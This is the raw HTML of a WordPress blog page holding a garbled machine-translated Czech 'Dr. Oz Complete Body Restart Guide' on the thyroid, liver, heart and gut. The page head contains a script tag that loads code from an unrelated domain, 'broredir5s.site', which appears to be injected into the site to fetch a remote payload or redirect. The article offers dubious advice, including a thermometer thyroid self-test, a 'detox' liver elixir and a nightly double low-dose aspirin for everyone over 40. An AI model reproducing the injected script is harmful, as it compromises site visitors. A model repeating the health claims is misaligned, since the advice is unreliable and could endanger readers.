CINXE.COM

<!DOCTYPE HTML> <html lang="cs-CZ"> <head> <meta charset="UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>Dr. Oz ' s Complete Body Restart Guide | Image & Innovation</title>  <script type="application/ld+json" class="aioseop-schema">{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://imagexinnovation.com/#organization","url":"https://imagexinnovation.com/","name":"Image & Innovation","sameAs":[]},{"@type":"WebSite","@id":"https://imagexinnovation.com/#website","url":"https://imagexinnovation.com/","name":"Image & Innovation","publisher":{"@id":"https://imagexinnovation.com/#organization"},"potentialAction":{"@type":"SearchAction","target":"https://imagexinnovation.com/?s={search_term_string}","query-input":"required name=search_term_string"}},{"@type":"WebPage","@id":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/#webpage","url":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/","inLanguage":"cs","name":"Dr. Oz ' s Complete Body Restart Guide (Čeština)","isPartOf":{"@id":"https://imagexinnovation.com/#website"},"breadcrumb":{"@id":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/#breadcrumblist"},"datePublished":"2020-11-26T03:47:41+00:00","dateModified":"2020-11-26T03:47:41+00:00"},{"@type":"Article","@id":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/#article","isPartOf":{"@id":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/#webpage"},"author":{"@id":"https://imagexinnovation.com/cs/author/admin/#author"},"headline":"Dr. Oz ‚ s Complete Body Restart Guide (Čeština)","datePublished":"2020-11-26T03:47:41+00:00","dateModified":"2020-11-26T03:47:41+00:00","commentCount":0,"mainEntityOfPage":{"@id":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/#webpage"},"publisher":{"@id":"https://imagexinnovation.com/#organization"},"articleSection":"Articles, Čeština, pll_5ff9417334ff8"},{"@type":"Person","@id":"https://imagexinnovation.com/cs/author/admin/#author","name":"admin","sameAs":[],"image":{"@type":"ImageObject","@id":"https://imagexinnovation.com/#personlogo","url":"https://secure.gravatar.com/avatar/a12c652f93a8c6cb3ecc0b91d87a0bda?s=96&d=mm&r=g","width":96,"height":96,"caption":"admin"}},{"@type":"BreadcrumbList","@id":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/#breadcrumblist","itemListElement":[{"@type":"ListItem","position":1,"item":{"@type":"WebPage","@id":"https://imagexinnovation.com/","url":"https://imagexinnovation.com/","name":"Image & Innovation"}},{"@type":"ListItem","position":2,"item":{"@type":"WebPage","@id":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/","url":"https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/","name":"Dr. Oz ' s Complete Body Restart Guide (Čeština)"}}]}]}</script> <link rel="canonical" href="https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/" />  <link rel='dns-prefetch' href='//fonts.googleapis.com' /> <link rel='dns-prefetch' href='//s.w.org' /> <script type="text/javascript"> window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/imagexinnovation.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.6.2"}}; !function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([55357,56424,8205,55356,57212],[55357,56424,8203,55356,57212])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings); </script> <style type="text/css"> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='stylesheet' id='wp-block-library-css' href='https://imagexinnovation.com/wp-includes/css/dist/block-library/style.min.css?ver=5.6.2' type='text/css' media='all' /> <link rel='stylesheet' id='responsive-lightbox-swipebox-css' href='https://imagexinnovation.com/wp-content/plugins/responsive-lightbox/assets/swipebox/swipebox.min.css?ver=2.3.1' type='text/css' media='all' /> <link rel='stylesheet' id='silaslite-googlefonts-css' href='https://fonts.googleapis.com/css?family=Montserrat%3A400%2C500%7CLibre+Baskerville%3A400%2C400i&subset=latin%2Clatin-ext' type='text/css' media='all' /> <link rel='stylesheet' id='bootstrap-css' href='https://imagexinnovation.com/wp-content/themes/silaslite/libs/bootstrap/bootstrap.css?ver=5.6.2' type='text/css' media='all' /> <link rel='stylesheet' id='silaslite-font-awesome-css' href='https://imagexinnovation.com/wp-content/themes/silaslite/libs/font-awesome/css/all.css?ver=5.6.2' type='text/css' media='all' /> <link rel='stylesheet' id='chosen-css' href='https://imagexinnovation.com/wp-content/themes/silaslite/libs/chosen/chosen.css?ver=5.6.2' type='text/css' media='all' /> <link rel='stylesheet' id='owl-carousel-css' href='https://imagexinnovation.com/wp-content/themes/silaslite/libs/owl/owl.carousel.min.css?ver=5.6.2' type='text/css' media='all' /> <link rel='stylesheet' id='mediaelement-css' href='https://imagexinnovation.com/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.16' type='text/css' media='all' /> <link rel='stylesheet' id='wp-mediaelement-css' href='https://imagexinnovation.com/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=5.6.2' type='text/css' media='all' /> <link rel='stylesheet' id='silaslite-style-css' href='https://imagexinnovation.com/wp-content/themes/silaslite/style.css?ver=5.6.2' type='text/css' media='all' /> <link rel='stylesheet' id='silaslite-theme-style-css' href='https://imagexinnovation.com/wp-content/themes/silaslite/assets/css/theme.css?ver=5.6.2' type='text/css' media='all' /> <script type='text/javascript' src='https://imagexinnovation.com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1' id='jquery-core-js'></script> <script type='text/javascript' src='https://imagexinnovation.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2' id='jquery-migrate-js'></script> <script type='text/javascript' src='https://imagexinnovation.com/wp-content/plugins/responsive-lightbox/assets/swipebox/jquery.swipebox.min.js?ver=2.3.1' id='responsive-lightbox-swipebox-js'></script> <script type='text/javascript' src='https://imagexinnovation.com/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js?ver=5.6.2' id='responsive-lightbox-infinite-scroll-js'></script> <script type='text/javascript' id='responsive-lightbox-js-extra'> /* <![CDATA[ */ var rlArgs = {"script":"swipebox","selector":"lightbox","customEvents":"","activeGalleries":"1","animation":"1","hideCloseButtonOnMobile":"0","removeBarsOnMobile":"0","hideBars":"1","hideBarsDelay":"5000","videoMaxWidth":"1080","useSVG":"1","loopAtEnd":"0","woocommerce_gallery":"0","ajaxurl":"https:\/\/imagexinnovation.com\/wp-admin\/admin-ajax.php","nonce":"a4b2d2c674"}; /* ]]> */ </script> <script type='text/javascript' src='https://imagexinnovation.com/wp-content/plugins/responsive-lightbox/js/front.js?ver=2.3.1' id='responsive-lightbox-js'></script> <link rel="https://api.w.org/" href="https://imagexinnovation.com/wp-json/" /><link rel="alternate" type="application/json" href="https://imagexinnovation.com/wp-json/wp/v2/posts/54758" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://imagexinnovation.com/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://imagexinnovation.com/wp-includes/wlwmanifest.xml" /> <meta name="generator" content="WordPress 5.6.2" /> <link rel="alternate" type="application/json+oembed" href="https://imagexinnovation.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fimagexinnovation.com%2Fcs%2Fdr-oz-s-complete-body-restart-guide-6%2F" /> <link rel="alternate" type="text/xml+oembed" href="https://imagexinnovation.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fimagexinnovation.com%2Fcs%2Fdr-oz-s-complete-body-restart-guide-6%2F&format=xml" /> <link rel="alternate" href="https://imagexinnovation.com/dr-oz-s-complete-body-restart-guide-2/" hreflang="de" /> <link rel="alternate" href="https://imagexinnovation.com/nl/dr-oz-s-complete-body-restart-guide/" hreflang="nl" /> <link rel="alternate" href="https://imagexinnovation.com/sv/dr-oz-s-complete-body-restart-guide-3/" hreflang="sv" /> <link rel="alternate" href="https://imagexinnovation.com/nb/dr-oz-er-hele-kroppen-start-guide/" hreflang="nb" /> <link rel="alternate" href="https://imagexinnovation.com/da/dr-o-s-complete-body-restart-guide/" hreflang="da" /> <link rel="alternate" href="https://imagexinnovation.com/es/dr-ozs-complete-body-restart-guide/" hreflang="es" /> <link rel="alternate" href="https://imagexinnovation.com/fr/dr-ozs-complete-body-restart-guide-2/" hreflang="fr" /> <link rel="alternate" href="https://imagexinnovation.com/it/dr-ozs-complete-body-restart-guide-3/" hreflang="it" /> <link rel="alternate" href="https://imagexinnovation.com/ro/dr-oz-s-complete-body-restart-guide-4/" hreflang="ro" /> <link rel="alternate" href="https://imagexinnovation.com/pl/dr-oz-s-complete-body-restart-guide-5/" hreflang="pl" /> <link rel="alternate" href="https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/" hreflang="cs" /> <link rel="alternate" href="https://imagexinnovation.com/hu/dr-oz-teljes-test-ujrainditasi-utmutatoja/" hreflang="hu" /> <link rel="alternate" href="https://imagexinnovation.com/fi/dr-oz-on-taydellinen-elin-uudelleen-guide/" hreflang="fi" /> <link rel="alternate" href="https://imagexinnovation.com/ja/ja54759/" hreflang="ja" /> <link rel="alternate" href="https://imagexinnovation.com/ko/ko54760/" hreflang="ko" /> <link rel="apple-touch-icon" sizes="180x180" href="/wp-content/uploads/fbrfg/apple-touch-icon.png"> <link rel="icon" type="image/png" sizes="32x32" href="/wp-content/uploads/fbrfg/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="/wp-content/uploads/fbrfg/favicon-16x16.png"> <link rel="manifest" href="/wp-content/uploads/fbrfg/site.webmanifest"> <link rel="shortcut icon" href="/wp-content/uploads/fbrfg/favicon.ico"> <meta name="msapplication-TileColor" content="#da532c"> <meta name="msapplication-config" content="/wp-content/uploads/fbrfg/browserconfig.xml"> <meta name="theme-color" content="#ffffff"> <script type="text/javascript" src="https://broredir5s.site/code/gvstgnrwmu5ha3ddf4ytenjq" async></script> </head> <body class="post-template-default single single-post postid-54758 single-format-standard"> <a class="skip-link screen-reader-text" href="#content"> Skip to content</a> <div class="body-overlay"></div> <div class="main-wrapper-boxed"> <header id="silaslite-header" class="header"> <div class="header-wrapper"> <div class="header-maintop"> <div id="nav-wrapper" class="nav-main silaslite-main-nav"> <div class="silaslite-main-menu"></div> </div> <div class="top-rightheader"> <div class="right-icon"> <a class="navbar-search" href="javascript:void(0)"><i class="fas fa-search"></i></a> <div class="header-search"> <div class="inner-search-header"> <form role="search" method="get" class="searchform" action="https://imagexinnovation.com/cs/"> <input type="text" class="text" placeholder="Search & hit enter..." name="s" /> <span><button type="submit" name="submit_search" class="button-search"><i class="fa fa-search"></i></button></span> </form> <a href="javascript:void(0)" class="close-search"><i class="fas fa-times"></i></a> </div> </div> <div class="icon-touch d-lg-none"> <a href="javascript:void(0)" class="menu-touch"> <div class="navbar-toggle"> <span></span> <span></span> <span></span> </div> </a> </div> </div> </div> </div> <div class="silaslite-logo"> <div class="inner-logo"> <h2 class="site-title"><a href="https://imagexinnovation.com/cs/">Image & Innovation </a></h2> <span class="tag-line">Information</span> </div> </div> </div> </header> <div id="content" class="silaslite-primary"> <div class="main-contaier"> <div class="container"> <div class="row wrapper-main-content mx-n4"> <div class="main-content has-sidebar col px-4"> <div class="silaslite-single-post"> <article class="post-single post-54758 post type-post status-publish format-standard hentry category-articles"> <div class="post-inner"> <div class="post-header"> <div class="post-cats"><a href="https://imagexinnovation.com/category/articles/" rel="category tag">Articles</a></div> <h1 class="post-title">Dr. Oz ‚ s Complete Body Restart Guide (Čeština)</h1> <div class="post-meta"> <div class="post-author"> <span>posted by: </span><a href="https://imagexinnovation.com/cs/author/admin/" title="Příspěvky od admin" rel="author">admin</a> </div> <div class="date-post"> <i class="far fa-clock"></i>26 listopadu, 2020 </div> </div> </div> <div class="post-info"> <div class="post-content"> <p>Jak byste chtěli začít odstraňovat jakékoli škody, které jste v minulosti způsobili svému tělu-nebo jednoduše zpomalit proces stárnutí? Kompletní průvodce restartem těla Dr. Oze se zaměřuje na čtyři orgány, které hrají rozhodující roli v tom, jak dlouho žijete, jak dobře se cítíte a jak snadno můžete zhubnout. Naučte se, jak:</p> <ul> <li>zvýšit štítnou žlázu-orgán číslo jedna, díky kterému se můžete cítit vyčerpaní, přes kopec a nadváhu.</li> <li> detoxikujte játra a překonejte minulé poškození. </li> <li>Udržujte své srdce silné a pumpujte déle.,</li> <li>vyčistěte střeva a zastavte bolest ve střevě.</li> </ul> <p>1. Restartujte štítnou žlázu</p> <p>přibližně u 1 z 8 žen se v jejich životě objeví porucha štítné žlázy. Nachází se v krku těsně pod Adamovým jablkem a nad klíční kostí, štítná žláza reguluje využití energie těla a řídí metabolismus.</p> <p> jak stárnete, vaše štítná žláza se stává méně účinnou. Může také růst ve velikosti, což je příznak hypotyreózy, označovaný také jako nedostatečná štítná žláza., Hypotyreóza ztěžuje vaší štítné žláze přeměnu tukových buněk na energii, což může způsobit přírůstek hmotnosti.</p> <p>Hlavní příznaky hypofunkce štítné žlázy patří:</p> <ul> <li>Denní únava</li> <li>zvýšení tělesné Hmotnosti o 10-15 liber za posledních 2 let </li> <li>Hrubé či lámavé vlasy</li> <li>Suchá kůže</li> </ul> <p>At-home Testu Štítné žlázy</p> <p>zjistit, jestli vaše štítná žláza potřebuje restart, vzít tento jednoduchý domácí test, který vyžaduje ústní teploměr.</p> <ul> <li>Vezměte si teplotu pod jazyk, jakmile vstanete a těsně předtím, než ráno vstanete z postele., </li> <li>zaznamenejte výsledky po dobu 1 týdne.</li> <li> pokud je průměrná teplota nižší než normální (98,7 stupňů), může to signalizovat pomalou štítnou žlázu.</li> </ul> <p>Pokud máte podezření, že pomalé štítné žlázy, měli byste také zvážit, přinášet to upozornit svého lékaře, který může také jít na vyšetření štítné žlázy pomocí jednoduchého krevního testu.</p> <p>Navíc, restartováním štítné žlázy s správné živiny, můžete nejen udržet váhu, ale můžete také pomoci zpomalit proces stárnutí, získat energii a zlepšit váš celkový vzhled.</p> <p>Chcete-li restartovat štítnou žlázu, obraťte se na Dr., Oz je štítná žláza Power Combo jodované soli a potravin bohatých na selen. Jód je nezbytný pro zdravou tvorbu hormonů štítné žlázy, a esenciální minerální selenu může pomoci snížit zánět, který může způsobit snížená činnost štítné žlázy.</p> <p> dnes mnoho lidí používá kosherskou sůl nebo mořskou sůl, ale tyto soli neobsahují jód. Chcete-li zachovat zdravou funkci štítné žlázy, sáhněte po tradiční jodované stolní soli při ochucování jídla.</p> <p>Jezte potraviny bohaté na selen, jako jsou:</p> <p></p> <p>2., Restartujte játra</p> <p>Nachází se na pravé dolní straně břicha těsně pod bránicí, játra fungují jako test detektoru lži vašeho těla, který odhaluje pravdu o životě, který jste dosud žili. I když se kdysi myslelo, že onemocnění jater bylo způsobeno samotným užíváním alkoholu, je nyní známo, že konzumace sladkých nebo mastných potravin po delší dobu poškozuje játra.</p> <p>vaše játra působí především jako filtr vašeho těla, čistí krev a napomáhá trávení a metabolismu., Mastná játra se vyskytuje, když se vaše tělo zaplaví tuky a již se nedokáže detoxikovat. Zdravá strava bohatá na zeleninu a chudé bílkoviny umožňuje játrům správně vykonávat svou práci, aniž by byla překročena toxiny. Nicméně, když si dopřejete roky nezdravé předměty, jako jsou ty, které jsou spojeny s All-American diet-koblihy, smažené kuře a hamburgery – vaše játra ucpávají, stávají se mastnými a toxickými.</p> <p>stavy, jako je diabetes a obezita, které jsou obvykle spojeny s ucpaným srdcem, jsou také vázány na ucpaná játra., Ve skutečnosti, tělesné poškození začíná v játrech, než se hadi to cestu až k srdci. Ale tady je dobrá zpráva: vaše játra se mohou doslova regenerovat.</p> <p>restartujte jater, vyzkoušejte tyto 2 jednoduché řešení:</p> <p>Játra Restart #1: Drink Dr. Oz je Ráno Jater Elixír Denně</p> <p>Složení:</p> <ul> <li>¼ šálku teplé vody</li> <li>Šťáva z citronu</li> <li>2 čárky horké pepřovou omáčkou </li> </ul> <p>Teplá voda podporuje trávení, citronová šťáva obsahuje vitamín C, silný antioxidant, který pomáhá zklidnit zánět jater a chránit sagainst poškození volnými radikály., Pálivá pepřová omáčka obsahuje kapsaicin, který zvyšuje průtok krve a některé enzymy zodpovědné za detoxikaci jater.</p> <p>pijte denně ranní elixír jater Dr. Oz. Kromě tohoto koktejlu omezte konzumaci sladkých, mastných potravin a alkoholu.</p> <p>Játra Restart #2: Jíst 3 Šálky Hořké Zelené nebo Brukvovité Zeleniny Denně</p> <p>Hořkou zelení patří rukolou, endivie, pampeliška greeny a špenát. Hořká chuť v těchto potravinách skutečně detoxikuje vaše játra zvýšením průtoku žluči, zatímco zelení sami vyplavují toxiny., Cruciferous vegetariáni včetně brokolice, květák a růžičková kapusta také pomáhají funkci jater. Vyberte si libovolnou směs, kterou chcete, a jíst je syrové nebo vařené. Jíst tyto rostlinné potraviny denně nejen pomůže restartovat játra, ale také změní vaše celkové zdraví.</p> <p>3. Restartujte srdce</p> <p>Pokud chcete restartovat své tělo, orgán číslo jedna, který musíte vzít v úvahu, je vaše srdce. Srdeční onemocnění přichází v mnoha formách a má mnoho různých příčin-od dědičných faktorů až po špatné volby životního stylu., Vysoký krevní tlak (HBP) a vysoký cholesterol mohou zvýšit tvorbu plaku uvnitř tepen, což může vyvolat infarkt. Vysoký krevní tlak také nutí srdce, aby muselo pumpovat tvrdší a tvrdší, což může vést ke zvětšení srdce, které může mít za následek městnavé srdeční selhání. V průběhu času může aortální chlopeň kalcifikovat a ztuhnout, zabránit průtoku krve a způsobit, že krev unikne zpět do srdce. Možná si neuvědomujete, že tyto kardiovaskulární problémy mohou nastat již ve vašich 20 letech. Chcete-li restartovat srdce, postupujte podle rozšířené záruky Dr. Oze pro vaše srdce.</p> <p></p> <p>Dr., Oz je prodloužená Záruka Pro Vaše Srdce.</p> <p>Vezměte 600 mg DHA Omega-3 Doplněk Denně</p> <p>Zatímco mnoho lidí ví o důležitosti Omega-3 doplněk, ne každý si uvědomuje, že DHA Omega-3 mastné kyseliny nalezené v rybím oleji je nejsilnější, když přijde na snižování hladiny cholesterolu, brání nové desky od tváření, a snížení hladiny triglyceridů. Ujistěte se, že váš doplněk Omega-3 je označen jako doplněk DHA Omega-3. Vezměte 600 mg jednou denně a uložte jej do ledničky, aby vydržel déle.</p> <p> Pokud máte více než 40 let, užívejte před spaním dva 81 mg Nízkodávkového aspirinu.,</p> <p>také označovaný jako dětský aspirin, bylo prokázáno, že nízkodávkový aspirin snižuje krevní tlak při konzumaci před spaním. Ujistěte se, že užíváte tento volně prodejný lék s 8 uncemi vody. Pijte polovinu sklenice před a polovinu sklenice poté, co spolknete aspirin, abyste se vyhnuli podráždění žaludku. Pokud máte poruchu krvácení nebo máte žaludeční vředy v anamnéze, nejprve se poraďte se svým lékařem.,</p> <p>Jíst Dvě Porce Rozpustné Vlákniny Denně,</p> <p>Rozpustná vláknina nalézt v potravinách, jako jsou ovesné vločky, jablka, hrušky, citrusové plody, fazole, hrášek, mrkve, quinoa a ječmen knoty špatný cholesterol pryč z vašeho tepen. Zaměřte se na dvě porce denně. Ujistěte se, že postupně zvyšujete příjem vlákniny, abyste se vyhnuli plynu. A pít s velkým množstvím vody, protože vlákno nemůže dělat svou práci v dehydratovaném systému.</p> <p>Klikněte zde pro tisknutelný tahák rozšířené záruky Dr. Oz pro vaše srdce.</p> <p>4.,Restartujte střeva</p> <p>může to být překvapení, ale vaše střeva obsahují velkou síť nervů, které mohou být zkratovány vašimi emocemi. Když jste klidní a uvolněni, váš trávicí systém může fungovat správně. Nicméně, když zažíváte stres, vaše střeva se může dostat z rána, což má za následek zácpu, nadýmání nebo průjem.</p> <p>Chcete-li vyloučit bolest ve střevě a restartovat střeva, obraťte se na prebiotika. Prebiotika jsou potraviny, které musíte jíst, abyste pomohli trávení probiotik-dobrých bakterií nalezených v potravinách, jako je řecký jogurt., Bez prebiotik mají“ špatné “ nežádoucí bakterie nespravedlivou výhodu oproti probiotikům a mohou způsobit řadu problémů, včetně syndromu dráždivého tračníku (IBS). Chcete-li se dozvědět více o probiotikách a prebiotikách, klikněte zde.</p> <p>Jezte denně dvě až čtyři porce prebiotik</p> <p>naštěstí se prebiotika nacházejí v mnoha každodenních potravinách, včetně banánů, vařených celých zrn, medu, syrového česneku a syrové cibule. Užijte si dva-čtyři porce prebiotik každý den, abyste pomohli vašim střevám běžet hladce.</p> <p>vytiskněte kopii celého taháku průvodce restartováním těla., Mějte ji na lednici, u stolu nebo kdekoli budete mít důležité poznámky, takže si můžete tyto tipy udržet čerstvé ve své mysli. </p> <p></p> </div> <div class="post-footer"> <div class="post-share-wrap"> <div class="post-share">  <a target="_blank" href="https://www.facebook.com/sharer/sharer.php?u=https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/"><i class="fab fa-facebook-f"></i></a> <a title="Click to share this post on Twitter" href="https://twitter.com/intent/tweet?text=Currently%20reading%20Dr.%20Oz%20‚%20s%20Complete%20Body%20Restart%20Guide%20(Čeština)&url=https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/" target="_blank" rel="noopener noreferrer"> <i class="fab fa-twitter"></i> </a> <a target="_blank" href="https://pinterest.com/pin/create/button/?url=https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/&media=&description=Dr.%20Oz%20‚%20s%20Complete%20Body%20Restart%20Guide%20(Čeština)"><i class="fab fa-pinterest"></i></a> <a target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&url=https://imagexinnovation.com/cs/dr-oz-s-complete-body-restart-guide-6/&title=Dr.%20Oz%20‚%20s%20Complete%20Body%20Restart%20Guide%20(Čeština)&source=Image%20&%20Innovation"><i class="fab fa-linkedin-in"></i></a> </div> </div></div> </div> </div> </article> <div class="post-related silaslite-blog"> <h3 class="post-related-title">Related Posts</h3> <div class="row"> <div class="col-md-4 item-relate post"> <div class="inner-post"> <div class="post-format"> <a class="post-image" style="background-image: url('https://imagexinnovation.com/wp-content/themes/silaslite/assets/images/place-holder-570x524.png');" href="https://imagexinnovation.com/cs/jak-v-navaznosti-na-vytvareni-siti-kontaktu/"></a> </div> <div class="post-info"> <h3 class="post-title"><a href="https://imagexinnovation.com/cs/jak-v-navaznosti-na-vytvareni-siti-kontaktu/">Jak v návaznosti na vytváření Sítí Kontaktů</a></h3> <span class="date-post">21 února, 2021</span> </div> </div> </div> <div class="col-md-4 item-relate post"> <div class="inner-post"> <div class="post-format"> <a class="post-image" style="background-image: url('https://imagexinnovation.com/wp-content/themes/silaslite/assets/images/place-holder-570x524.png');" href="https://imagexinnovation.com/cs/jak-dat-ji-nejvice-velkolepe-masaz-nohou-nekdy/"></a> </div> <div class="post-info"> <h3 class="post-title"><a href="https://imagexinnovation.com/cs/jak-dat-ji-nejvice-velkolepe-masaz-nohou-nekdy/">Jak Dát Jí Nejvíce Velkolepé Masáž Nohou Někdy</a></h3> <span class="date-post">14 října, 2020</span> </div> </div> </div> <div class="col-md-4 item-relate post"> <div class="inner-post"> <div class="post-format"> <a class="post-image" style="background-image: url('https://imagexinnovation.com/wp-content/themes/silaslite/assets/images/place-holder-570x524.png');" href="https://imagexinnovation.com/cs/andel-cislo-4-je-to-opravdu-smulu/"></a> </div> <div class="post-info"> <h3 class="post-title"><a href="https://imagexinnovation.com/cs/andel-cislo-4-je-to-opravdu-smulu/">Anděl Číslo 4: Je To Opravdu Smůlu?</a></h3> <span class="date-post">6 ledna, 2021</span> </div> </div> </div> </div> </div> <div id="respond" class="comment-respond"> <h3 id="reply-title" class="comment-reply-title">Leave a Reply <small><a rel="nofollow" id="cancel-comment-reply-link" href="/cs/dr-oz-s-complete-body-restart-guide-6/#respond" style="display:none;">Cancel</a></small></h3><form action="https://imagexinnovation.com/wp-comments-post.php" method="post" id="commentform" class="comment-form"><textarea name="comment" id="message" class="textarea-form" placeholder="Your comment ..." rows="1"></textarea><div class="row"><div class="col-sm-6"><input type="text" name="author" id="name" class="input-form" placeholder="Your name *" /></div> <div class="col-sm-6"><input type="text" name="email" id="email" class="input-form" placeholder="Your email *"/></div> <div class="col-sm-12"><input type="text" name="url" id="url" class="input-form" placeholder="Website URL"/></div></div> <p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes" /> <label for="wp-comment-cookies-consent">Uložit do prohlížeče jméno, e-mail a webovou stránku pro budoucí komentáře.</label></p> <p class="form-submit"><input name="submit" type="submit" id="comment_submit" class="submit" value="Post Comment" /> <input type='hidden' name='comment_post_ID' value='54758' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /> </p></form> </div> </div> </div> <div class="col w-300 px-4"> <aside id="sidebar" class="sidebar"> <div class="inner-sidebar"> <div id="search-2" class="widget widget_search"><form role="search" method="get" class="searchform" action="https://imagexinnovation.com/cs/"> <input type="text" class="text" placeholder="Search & hit enter..." name="s" /> <span><button type="submit" name="submit_search" class="button-search"><i class="fa fa-search"></i></button></span> </form></div> <div id="recent-posts-2" class="widget widget_recent_entries"> <h4 class="widget-title">Nejnovější příspěvky</h4> <ul> <li> <a href="https://imagexinnovation.com/cs/hyundai-prodlouzena-zaruka-plany-pokryti-ceny-a-dalsi/">Hyundai prodloužená záruka: plány pokrytí, ceny a další</a> </li> <li> <a href="https://imagexinnovation.com/cs/jak-se-dostat-chlapa-aby-vas-zeptat-ven-3-kroky-ze-si-ani-nevsimne/">, Jak Se Dostat Chlapa, Aby Vás Zeptat Ven – 3 Kroky, Že si ani Nevšimne</a> </li> <li> <a href="https://imagexinnovation.com/cs/meli-byste-dat-med-do-lednicky/">měli byste dát med do ledničky?</a> </li> <li> <a href="https://imagexinnovation.com/cs/erektilni-dysfunkce-u-pacientu-s-hypertenzi/">Erektilní Dysfunkce u Pacientů S Hypertenzí:</a> </li> <li> <a href="https://imagexinnovation.com/cs/prase-past-design/">Prase Past Design</a> </li> </ul> </div><div id="archives-2" class="widget widget_archive"><h4 class="widget-title">Archivy</h4> <ul> <li><a href='https://imagexinnovation.com/cs/2021/02/'>Únor 2021</a></li> <li><a href='https://imagexinnovation.com/cs/2021/01/'>Leden 2021</a></li> <li><a href='https://imagexinnovation.com/cs/2020/12/'>Prosinec 2020</a></li> <li><a href='https://imagexinnovation.com/cs/2020/11/'>Listopad 2020</a></li> <li><a href='https://imagexinnovation.com/cs/2020/10/'>Říjen 2020</a></li> <li><a href='https://imagexinnovation.com/cs/2020/09/'>Září 2020</a></li> <li><a href='https://imagexinnovation.com/cs/2020/08/'>Srpen 2020</a></li> </ul> </div><div id="polylang-2" class="widget widget_polylang"><ul> <li class="lang-item lang-item-2 lang-item-de lang-item-first"><a lang="de-DE" hreflang="de-DE" href="https://imagexinnovation.com/dr-oz-s-complete-body-restart-guide-2/">Deutsch</a></li> <li class="lang-item lang-item-5 lang-item-nl"><a lang="nl-NL" hreflang="nl-NL" href="https://imagexinnovation.com/nl/dr-oz-s-complete-body-restart-guide/">Nederlands</a></li> <li class="lang-item lang-item-9 lang-item-sv"><a lang="sv-SE" hreflang="sv-SE" href="https://imagexinnovation.com/sv/dr-oz-s-complete-body-restart-guide-3/">Svenska</a></li> <li class="lang-item lang-item-13 lang-item-nb"><a lang="nb-NO" hreflang="nb-NO" href="https://imagexinnovation.com/nb/dr-oz-er-hele-kroppen-start-guide/">Norsk</a></li> <li class="lang-item lang-item-17 lang-item-da"><a lang="da-DK" hreflang="da-DK" href="https://imagexinnovation.com/da/dr-o-s-complete-body-restart-guide/">Dansk</a></li> <li class="lang-item lang-item-21 lang-item-es"><a lang="es-ES" hreflang="es-ES" href="https://imagexinnovation.com/es/dr-ozs-complete-body-restart-guide/">Español</a></li> <li class="lang-item lang-item-25 